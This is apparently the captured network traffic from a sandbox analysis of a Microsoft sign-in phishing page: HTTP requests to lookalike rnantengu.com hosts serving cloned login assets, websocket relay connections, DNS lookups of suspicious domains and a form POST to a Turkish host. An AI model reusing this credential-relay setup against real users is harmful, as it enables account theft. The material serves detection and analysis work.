Source: global traffic	HTTP traffic detected: GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://onlineauthenticationrelayservices.rnantengu.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="Sec-WebSocket-Key: uUjRLeysXU5HrA20ZuF2DA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /?vu=5C&username=bdf29f%40eutg.co&sso_reload=true HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.coAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://onlineauthenticationrelayservices.rnantengu.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://onlineauthenticationrelayservices.rnantengu.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://onlineauthenticationrelayservices.rnantengu.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: l1ve.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://onlineauthenticationrelayservices.rnantengu.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1Sec-WebSocket-Key: 3mFB+1lXARwCVHVs6Cp9qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: b997208a-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://onlineauthenticationrelayservices.rnantengu.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=fd123344-e637-4d6c-b4da-320d728dd8cc; brcap=0Sec-WebSocket-Key: Z+1ayiPfm9Dds1xsaDdtUg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://onlineauthenticationrelayservices.rnantengu.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=fd123344-e637-4d6c-b4da-320d728dd8cc; brcap=0Sec-WebSocket-Key: hRX/zGxNjgfzzZxDU26FSA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://onlineauthenticationrelayservices.rnantengu.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=fd123344-e637-4d6c-b4da-320d728dd8cc; brcap=0Sec-WebSocket-Key: Ak1+BwaxxhjY/ZeoAkOazQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: realazure.action.azurecomm.net
Source: global traffic	DNS traffic detected: DNS query: evoicemanageroauth-receptionextension.ayesgroup.com.tr
Source: global traffic	DNS traffic detected: DNS query: officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com
Source: global traffic	DNS traffic detected: DNS query: i.imgur.com
Source: global traffic	DNS traffic detected: DNS query: officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com
Source: global traffic	DNS traffic detected: DNS query: onlineauthenticationrelayservices.rnantengu.com
Source: global traffic	DNS traffic detected: DNS query: a6dd5e95-cf4691c7.rnantengu.com
Source: global traffic	DNS traffic detected: DNS query: 24eff8d9-cf4691c7.rnantengu.com
Source: global traffic	DNS traffic detected: DNS query: l1ve.rnantengu.com
Source: global traffic	DNS traffic detected: DNS query: b997208a-cf4691c7.rnantengu.com

Source: unknown

HTTP traffic detected: POST /api/index.php?continue2 HTTP/1.1Host: evoicemanageroauth-receptionextension.ayesgroup.com.trConnection: keep-aliveContent-Length: 117Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://evoicemanageroauth-receptionextension.ayesgroup.com.trContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

